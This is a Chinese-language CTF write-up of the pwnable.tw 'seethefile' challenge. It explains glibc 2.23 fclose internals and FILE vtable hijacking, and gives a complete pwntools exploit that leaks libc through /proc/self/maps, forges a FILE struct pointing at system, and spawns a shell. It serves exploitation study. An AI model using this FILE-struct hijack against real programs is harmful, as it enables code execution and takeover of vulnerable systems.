fclose 标准IO库中用于关闭已经打开文件的函数,作用与fopen相反,
函数原型: int fclose(FILE *stream)
功能:关闭一个文件流,使用 fclose 就可以把缓冲区内最后剩余的数据输出到磁盘文件中,并释放文件指针和有关的缓冲区
换句话说,调用fclose的时候会调用很多处理函数, 可以被我们利用
首先调用_IO_un_link函数将指定的iofile进行脱链(从 _chain中)
1► 54 _IO_un_link ((struct _IO_FILE_plus *) fp);
然后调用_IO_file_close_it函数, 进而调用系统调用close关闭文件
1► 58 status = _IO_file_close_it (fp);
最后调用vtable中的 ► 62 _IO_FINISH (fp);,对应的是_IO_file_finish 函数,它会调用free释放之前分配的FILE结构
(所以vtable劫持的原理就出来了) ? ?? 哪出来了?
问题_IO_OVERFLOW 这个东西是不是宏呢? 还是啥,怎么对应vtable里面的函数的呢
pwn入门-49-pwnable之seethefile
主要参考: https://xuanxuanblingbling.github.io/ctf/pwn/2020/04/03/file/
2.23版本没有做检查, 简单入门下iofile
利用分析Ubuntu GLIBC 2.23-0ubuntu5
1234567891011121314151617181920212223242526272829303132333435363738394041int __cdecl main(int argc, const char **argv, const char **envp){ char nptr; // [esp+Ch] [ebp-2Ch] unsigned int v4; // [esp+2Ch] [ebp-Ch] v4 = __readgsdword(0x14u); init(); welcome(); while ( 1 ) { menu(); __isoc99_scanf("%s", &nptr); switch ( atoi(&nptr) ) { case 1: openfile(); break; case 2: readfile(); break; case 3: writefile(); break; case 4: closefile(); break; case 5: printf("Leave your name :"); __isoc99_scanf("%s", &name); printf("Thank you %s ,see you next time\n", &name); if ( fp ) fclose(fp); exit(0); return; default: puts("Invaild choice"); exit(0); return; } }}
一眼顶针 name存在溢出,可以溢出到fp, 并且保护没有开PIE,可以知道地址,
12345678.bss:0804B260 name db 20h dup(?) ; DATA XREF: main+9F↑o.bss:0804B260 ; main+B4↑o.bss:0804B280 public fp.bss:0804B280 ; FILE *fp.bss:0804B280 fp dd ? ; DATA XREF: openfile+6↑r.bss:0804B280 ; openfile+AD↑w ....bss:0804B280 _bss ends.bss:0804B280
fp这里是一个FILE结构体,如何利用呢?
伪造一个fake FILE,放到bss后面就可以了,地址也知道,然后覆盖地址为伪造的FILE地址
伪造iofile及其虚表 如何伪造? 各个变量的值应该是多少?、
file结构:https://ctf-wiki.org/pwn/linux/user-mode/io-file/introduction/
1234567fakeFILE = 0x0804B284payload = 'a'*0x20payload += p32(fakeFILE)payload += p32(0xffffdfff)payload += ";$0"+'\x00'*0x8d payload += p32(fakeFILE+0x98) // 这是虚表地址payload += p32(system_addr)*3 // 虚表内容
iofile的结构如下图:
伪造flags 从而触发_finish1_flags&0x2000为0就会直接调用_IO_FINSH(fp),_IO_FINSH(fp)相当于调用fp->vtable->_finish(fp)
所以最后是调用了_IO_file_finish触发的(fclose?), 为什么不用/bin/sh呢?
伪造虚表 IOFILE之后就是 _IO_file_jumps,所以,可以劫持这个vtable指针,
12pwndbg> p sizeof(_IO_FILE)$4 = 148
大小是148, 也就是0x94, 0x94这里存的是虚表的地址,所以 虚表的位置位于fakeFILE+0x94 + 4
_finish位于第三个位置,所以把第三个位置伪造成system就行了
;$0是什么?;是隔断命令的意思, $0经过实验是bash
expexp一直没成功,估计是栈平衡的事? 不像, libc的事
本地和远程还不太一样, 远程的话,接收到的libc地址需要+0x1000( 在调试的时候能发现这一个特殊的地方,虽然不知道是干啥的,
远程打通的exp
12345678910111213141516171819202122232425262728293031323334353637from pwn import *context(arch='i386',os='linux',log_level='debug')context.terminal = ['tmux', 'splitw', '-h']myelf = ELF("./seethefile")#libc = ELF("./libc.so.6")libc = ELF("./libc_32.so.6")io = remote("chall.pwnable.tw",10200)#io = process("./seethefile")sla = lambda delim,data :io.sendlineafter(delim, data)openfile = lambda name : (sla("choice :","1"),sla("see :",name))readfile = lambda : (sla("choice :","2"))showfile = lambda : (sla("choice :","3"))leave = lambda name : (sla("choice :","5"),sla("ame :",name))# gdb.attach(io)# leak libcopenfile("/proc/self/maps")readfile()showfile()io.recvuntil("[heap]\n")libc_addr = int(io.recv(8),16) + 0x1000print("libc:",hex(libc_addr))system_addr = libc_addr +libc.symbols['system']print(hex(system_addr))#pause()# make fake filefakeFILE = 0x0804B284payload = b'a'*0x20payload += p32(fakeFILE)payload += p32(0xffffdfff)payload += b";$0"+b'\x00'*0x8dpayload += p32(fakeFILE+0x98)payload += p32(system_addr)*3# getshellleave(payload)io.interactive()